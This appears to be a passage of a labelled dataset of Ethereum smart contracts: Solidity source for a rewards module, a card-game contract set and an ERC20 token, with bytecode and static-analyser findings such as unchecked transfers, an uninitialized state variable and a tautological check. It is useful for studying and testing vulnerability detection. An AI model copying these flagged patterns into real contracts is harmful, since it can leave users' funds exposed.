} /// @notice accumulate rewards on a market for a specific user function accrueUser(ERC20 market, address user, RewardsState memory state) private returns (uint256) { // load indices uint224 supplyIndex = state.index; uint224 supplierIndex = userIndex[market][user]; // sync user index to global userIndex[market][user] = supplyIndex; // if user hasn't yet accrued rewards, grant them interest from the market beginning if they have a balance // zero balances will have no effect other than syncing to global index if (supplierIndex == 0) { supplierIndex = ONE; } uint224 deltaIndex = supplyIndex - supplierIndex; // use the booster or token balance to calculate reward balance multiplier uint256 supplierTokens = applyBoosting ? flywheelBooster.boostedBalanceOf(market, user) : market.balanceOf(user); // accumulate rewards by multiplying user tokens by rewardsPerToken index and adding on unclaimed uint256 supplierDelta = supplierTokens * deltaIndex / ONE; uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta; rewardsAccrued[user] = supplierAccrued; emit AccrueRewards(market, user, supplierDelta, supplyIndex); return supplierAccrued; } } contract FuseFlywheelCore is FlywheelCore { bool public constant isRewardsDistributor = true; constructor( ERC20 _rewardToken, IFlywheelRewards _flywheelRewards, IFlywheelBooster _flywheelBooster, address _owner, Authority _authority ) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {} function flywheelPreSupplierAction(ERC20 market, address supplier) external { accrue(market, supplier); } function flywheelPreBorrowerAction(ERC20 market, address borrower) external {} function flywheelPreTransferAction(ERC20 market, address src, address dst) external { accrue(market, src, dst); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063ab5497d7116100ad578063c2ee3a0811610071578063c2ee3a0814610323578063cc6bc10114610332578063e6e162e81461035a578063f046ee5c1461036c578063f7c618c11461037f57600080fd5b8063ab5497d7146102ab578063abc6d72d146102d2578063b006340d146102ea578063b9be44ac146102fd578063bf7e214f1461031057600080fd5b80637a9e5e4b116100f45780637a9e5e4b146101d05780637fb5ad38146101e35780638da5cb5b146102115780638fb009131461023c578063a7a9a62c1461024f57600080fd5b8063116139d31461013157806313af4035146101825780631c9161e0146101975780631e83409a146101aa5780634e081c95146101bd575b600080fd5b61016561013f366004610dea565b60046020908152600092835260408084209091529082529020546001600160e01b031681565b6040516001600160e01b0390911681526020015b60405180910390f35b610195610190366004610e23565b6103a6565b005b6101956101a5366004610dea565b61042c565b6101956101b8366004610e23565b61043b565b6101956101cb366004610e47565b61054b565b6101956101de366004610e23565b61055d565b6102036101f1366004610e23565b60056020526000908152604090205481565b604051908152602001610179565b600054610224906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b61019561024a366004610e23565b610647565b61028761025d366004610e23565b6003602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b604080516001600160e01b03909316835263ffffffff909116602083015201610179565b6102247f000000000000000000000000000000000000000000000000000000000000000081565b6102da600181565b6040519015158152602001610179565b6101956102f8366004610e23565b6106cb565b61020361030b366004610dea565b610781565b600154610224906001600160a01b031681565b610165670de0b6b3a764000081565b610345610340366004610e47565b6107f7565b60408051928352602083019190915201610179565b610195610368366004610dea565b5050565b600254610224906001600160a01b031681565b6102247f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b81565b6103bc336000356001600160e01b031916610880565b6103e15760405162461bcd60e51b81526004016103d890610e92565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6104368282610781565b505050565b6001600160a01b0381166000908152600560205260409020548015610368576001600160a01b03828116600081815260056020526040808220919091555163a9059cbb60e01b81526004810191909152602481018390527f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b9091169063a9059cbb906044016020604051808303816000875af11580156104df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105039190610eb8565b50816001600160a01b03167f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc678260405161053f91815260200190565b60405180910390a25050565b6105568383836107f7565b5050505050565b6000546001600160a01b03163314806105f2575060015460405163b700961360e01b81526001600160a01b039091169063b7009613906105b190339030906001600160e01b03196000351690600401610eda565b602060405180830381865afa1580156105ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f29190610eb8565b6105fb57600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b61065d336000356001600160e01b031916610880565b6106795760405162461bcd60e51b81526004016103d890610e92565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907fc88394d92ca818942c423842b933c023fc08dbdb030fcaf02ac41b89e2d1d9f690600090a35050565b6106e1336000356001600160e01b031916610880565b6106fd5760405162461bcd60e51b81526004016103d890610e92565b604080518082018252670de0b6b3a7640000815263ffffffff42811660208084019182526001600160a01b0386166000818152600390925285822094519251909316600160e01b026001600160e01b03929092169190911790925591517fc3dfb88ee5301cecf05761fb2728064e5b641524346ae69b9ba80394631bf11f9190a250565b6001600160a01b03821660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff1692820192909252906107d65760009150506107f1565b6107e0848261092a565b90506107ed848483610b74565b9150505b92915050565b6001600160a01b03831660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff16928201929092528291610850576000809250925050610878565b61085a868261092a565b9050610867868683610b74565b610872878684610b74565b92509250505b935093915050565b6001546000906001600160a01b0316801580159061090a575060405163b700961360e01b81526001600160a01b0382169063b7009613906108c990879030908890600401610eda565b602060405180830381865afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190610eb8565b806107ed57506000546001600160a01b0385811691161491505092915050565b6040805180820190915260008082526020820152600254602083015160405163b334db7b60e01b81526001600160a01b03868116600483015263ffffffff9092166024820152600092919091169063b334db7b906044016020604051808303816000875af11580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c49190610f07565b83925090508015610b6d5760007f0000000000000000000000000000000000000000000000000000000000000000610a5d57846001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a589190610f07565b610ae7565b604051631e1932fb60e01b81526001600160a01b0386811660048301527f00000000000000000000000000000000000000000000000000000000000000001690631e1932fb90602401602060405180830381865afa158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae79190610f07565b604080518082019091529091508082610b08670de0b6b3a764000086610f36565b610b129190610f55565b8651610b1e9190610f77565b6001600160e01b03908116825263ffffffff4281166020938401526001600160a01b03891660009081526003845260409020845193850151909116600160e01b02929091169190911790559250505b5092915050565b80516001600160a01b038481166000908152600460209081526040808320938716835292905290812080546001600160e01b038085166001600160e01b03198316179092559192911680610bcd5750670de0b6b3a76400005b6000610bd98284610fa2565b905060007f0000000000000000000000000000000000000000000000000000000000000000610c71576040516370a0823160e01b81526001600160a01b0388811660048301528916906370a0823190602401602060405180830381865afa158015610c48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6c9190610f07565b610d03565b604051631a50ef2f60e01b81526001600160a01b03898116600483015288811660248301527f00000000000000000000000000000000000000000000000000000000000000001690631a50ef2f90604401602060405180830381865afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d039190610f07565b90506000670de0b6b3a7640000610d236001600160e01b03851684610f36565b610d2d9190610f55565b6001600160a01b03891660009081526005602052604081205491925090610d55908390610fca565b6001600160a01b03808b16600081815260056020526040908190208490555192935091908c16907f35a61f3c719e8f59f636c336e563ba74f667fadafcc80d709231ca8bb59eecce90610dbd9086908b909182526001600160e01b0316602082015260400190565b60405180910390a39998505050505050505050565b6001600160a01b0381168114610de757600080fd5b50565b60008060408385031215610dfd57600080fd5b8235610e0881610dd2565b91506020830135610e1881610dd2565b809150509250929050565b600060208284031215610e3557600080fd5b8135610e4081610dd2565b9392505050565b600080600060608486031215610e5c57600080fd5b8335610e6781610dd2565b92506020840135610e7781610dd2565b91506040840135610e8781610dd2565b809150509250925092565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b600060208284031215610eca57600080fd5b81518015158114610e4057600080fd5b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b600060208284031215610f1957600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610f5057610f50610f20565b500290565b600082610f7257634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160e01b03828116848216808303821115610f9957610f99610f20565b01949350505050565b60006001600160e01b0383811690831681811015610fc257610fc2610f20565b039392505050565b60008219821115610fdd57610fdd610f20565b50019056fea2646970667358221220484f874cfe659571a66d9d9937d2c359ecd069da70cc19af8e32f0b155f2bb3464736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
6,704
0x657c8982d63f58ddd6a54c75591a572d4180cec8
pragma solidity 0.4.24; contract Governable { event Pause(); event Unpause(); address public governor; bool public paused = false; constructor() public { governor = msg.sender; } function setGovernor(address _gov) public onlyGovernor { governor = _gov; } modifier onlyGovernor { require(msg.sender == governor); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyGovernor whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyGovernor whenPaused public { paused = false; emit Unpause(); } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract CardBase is Governable { struct Card { uint16 proto; uint16 purity; } function getCard(uint id) public view returns (uint16 proto, uint16 purity) { Card memory card = cards[id]; return (card.proto, card.purity); } function getShine(uint16 purity) public pure returns (uint8) { return uint8(purity / 1000); } Card[] public cards; } contract CardProto is CardBase { event NewProtoCard( uint16 id, uint8 season, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ); struct Limit { uint64 limit; bool exists; } // limits for mythic cards mapping(uint16 => Limit) public limits; // can only set limits once function setLimit(uint16 id, uint64 limit) public onlyGovernor { Limit memory l = limits[id]; require(!l.exists); limits[id] = Limit({ limit: limit, exists: true }); } function getLimit(uint16 id) public view returns (uint64 limit, bool set) { Limit memory l = limits[id]; return (l.limit, l.exists); } // could make these arrays to save gas // not really necessary - will be update a very limited no of times mapping(uint8 => bool) public seasonTradable; mapping(uint8 => bool) public seasonTradabilityLocked; uint8 public currentSeason; function makeTradable(uint8 season) public onlyGovernor { seasonTradable[season] = true; } function makeUntradable(uint8 season) public onlyGovernor { require(!seasonTradabilityLocked[season]); seasonTradable[season] = false; } function makePermanantlyTradable(uint8 season) public onlyGovernor { require(seasonTradable[season]); seasonTradabilityLocked[season] = true; } function isTradable(uint16 proto) public view returns (bool) { return seasonTradable[protos[proto].season]; } function nextSeason() public onlyGovernor { //Seasons shouldn&#39;t go to 0 if there is more than the uint8 should hold, the governor should know this &#175;\_(ツ)_/&#175; -M require(currentSeason <= 255); currentSeason++; mythic.length = 0; legendary.length = 0; epic.length = 0; rare.length = 0; common.length = 0; } enum Rarity { Common, Rare, Epic, Legendary, Mythic } uint8 constant SPELL = 1; uint8 constant MINION = 2; uint8 constant WEAPON = 3; uint8 constant HERO = 4; struct ProtoCard { bool exists; uint8 god; uint8 season; uint8 cardType; Rarity rarity; uint8 mana; uint8 attack; uint8 health; uint8 tribe; } // there is a particular design decision driving this: // need to be able to iterate over mythics only for card generation // don&#39;t store 5 different arrays: have to use 2 ids // better to bear this cost (2 bytes per proto card) // rather than 1 byte per instance uint16 public protoCount; mapping(uint16 => ProtoCard) protos; uint16[] public mythic; uint16[] public legendary; uint16[] public epic; uint16[] public rare; uint16[] public common; function addProtos( uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable ) public onlyGovernor returns(uint16) { for (uint i = 0; i < externalIDs.length; i++) { ProtoCard memory card = ProtoCard({ exists: true, god: gods[i], season: currentSeason, cardType: cardTypes[i], rarity: rarities[i], mana: manas[i], attack: attacks[i], health: healths[i], tribe: tribes[i] }); _addProto(externalIDs[i], card, packable[i]); } } function addProto( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: cardType, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function addWeapon( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: WEAPON, rarity: rarity, mana: mana, attack: attack, health: durability, tribe: 0 }); _addProto(externalID, card, packable); } function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: SPELL, rarity: rarity, mana: mana, attack: 0, health: 0, tribe: 0 }); _addProto(externalID, card, packable); } function addMinion( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: MINION, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { require(!protos[externalID].exists); card.exists = true; protos[externalID] = card; protoCount++; emit NewProtoCard( externalID, currentSeason, card.god, card.rarity, card.mana, card.attack, card.health, card.cardType, card.tribe, packable ); if (packable) { Rarity rarity = card.rarity; if (rarity == Rarity.Common) { common.push(externalID); } else if (rarity == Rarity.Rare) { rare.push(externalID); } else if (rarity == Rarity.Epic) { epic.push(externalID); } else if (rarity == Rarity.Legendary) { legendary.push(externalID); } else if (rarity == Rarity.Mythic) { mythic.push(externalID); } else { require(false); } } } function getProto(uint16 id) public view returns( bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) { ProtoCard memory proto = protos[id]; return ( proto.exists, proto.god, proto.season, proto.cardType, proto.rarity, proto.mana, proto.attack, proto.health, proto.tribe ); } function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { // modulo bias is fine - creates rarity tiers etc // will obviously revert is there are no cards of that type: this is expected - should never happen if (rarity == Rarity.Common) { return common[random % common.length]; } else if (rarity == Rarity.Rare) { return rare[random % rare.length]; } else if (rarity == Rarity.Epic) { return epic[random % epic.length]; } else if (rarity == Rarity.Legendary) { return legendary[random % legendary.length]; } else if (rarity == Rarity.Mythic) { // make sure a mythic is available uint16 id; uint64 limit; bool set; for (uint i = 0; i < mythic.length; i++) { id = mythic[(random + i) % mythic.length]; (limit, set) = getLimit(id); if (set && limit > 0){ return id; } } // if not, they get a legendary :( return legendary[random % legendary.length]; } require(false); return 0; } // can never adjust tradable cards // each season gets a &#39;balancing beta&#39; // totally immutable: season, rarity function replaceProto( uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) public onlyGovernor { ProtoCard memory pc = protos[index]; require(!seasonTradable[pc.season]); protos[index] = ProtoCard({ exists: true, god: god, season: pc.season, cardType: cardType, rarity: pc.rarity, mana: mana, attack: attack, health: health, tribe: tribe }); } } contract MigrationInterface { function createCard(address user, uint16 proto, uint16 purity) public returns (uint); function getRandomCard(CardProto.Rarity rarity, uint16 random) public view returns (uint16); function migrate(uint id) public; } contract FirstPheonix is Pausable { MigrationInterface core; constructor(MigrationInterface _core) public { core = _core; } address[] public approved; uint16 PHEONIX_PROTO = 380; mapping(address => bool) public claimed; function approvePack(address toApprove) public onlyOwner { approved.push(toApprove); } function isApproved(address test) public view returns (bool) { for (uint i = 0; i < approved.length; i++) { if (approved[i] == test) { return true; } } return false; } // pause once cards become tradable function claimPheonix(address user) public returns (bool){ require(isApproved(msg.sender)); if (claimed[user] || paused){ return false; } claimed[user] = true; core.createCard(user, PHEONIX_PROTO, 0); return true; } }
0x6080604052600436106100a35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146100a85780633f4ba83a146100cb578063563b1358146100e05780635c975abb14610101578063673448dd1461012a5780637d4061e61461014b5780638456cb591461017f5780638da5cb5b14610194578063c884ef83146101a9578063f88218e0146101ca575b600080fd5b3480156100b457600080fd5b506100c9600160a060020a03600435166101eb565b005b3480156100d757600080fd5b506100c9610231565b3480156100ec57600080fd5b506100c9600160a060020a03600435166102a7565b34801561010d57600080fd5b5061011661031d565b604080519115158252519081900360200190f35b34801561013657600080fd5b50610116600160a060020a036004351661032d565b34801561015757600080fd5b5061016360043561038b565b60408051600160a060020a039092168252519081900360200190f35b34801561018b57600080fd5b506100c96103b3565b3480156101a057600080fd5b5061016361042e565b3480156101b557600080fd5b50610116600160a060020a036004351661043d565b3480156101d657600080fd5b50610116600160a060020a0360043516610452565b600054600160a060020a0316331461020257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461024857600080fd5b60005460a060020a900460ff16151561026057600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600054600160a060020a031633146102be57600080fd5b600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460a060020a900460ff1681565b6000805b6002548110156103805782600160a060020a031660028281548110151561035457fe5b600091825260209091200154600160a060020a031614156103785760019150610385565b600101610331565b600091505b50919050565b600280548290811061039957fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a031633146103ca57600080fd5b60005460a060020a900460ff16156103e157600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60046020526000908152604090205460ff1681565b600061045d3361032d565b151561046857600080fd5b600160a060020a03821660009081526004602052604090205460ff1680610498575060005460a060020a900460ff165b156104a55750600061056f565b600160a060020a038083166000818152600460208181526040808420805460ff191660019081179091555460035482517ffb36eba10000000000000000000000000000000000000000000000000000000081529485019690965261ffff90951660248401526044830184905251939094169363fb36eba19360648084019492939192918390030190829087803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b505050506040513d602081101561056857600080fd5b5060019150505b9190505600a165627a7a723058201e0d74eb229a1d347e7b2dc466de659e40a2e8511ae308141fbc0c92ed6190ab0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,705
0xed9678c962ef8fc22ed4e4178ce24da40f844bed
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // '1895 Token' token contract // // Symbol : LibertyQ // Name : 1895 Token // Total supply: 1 000 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract LibertyQ is BurnableToken { string public constant name = "1895 Token"; string public constant symbol = "LibertyQ"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600a81526020017f3138393520546f6b656e0000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff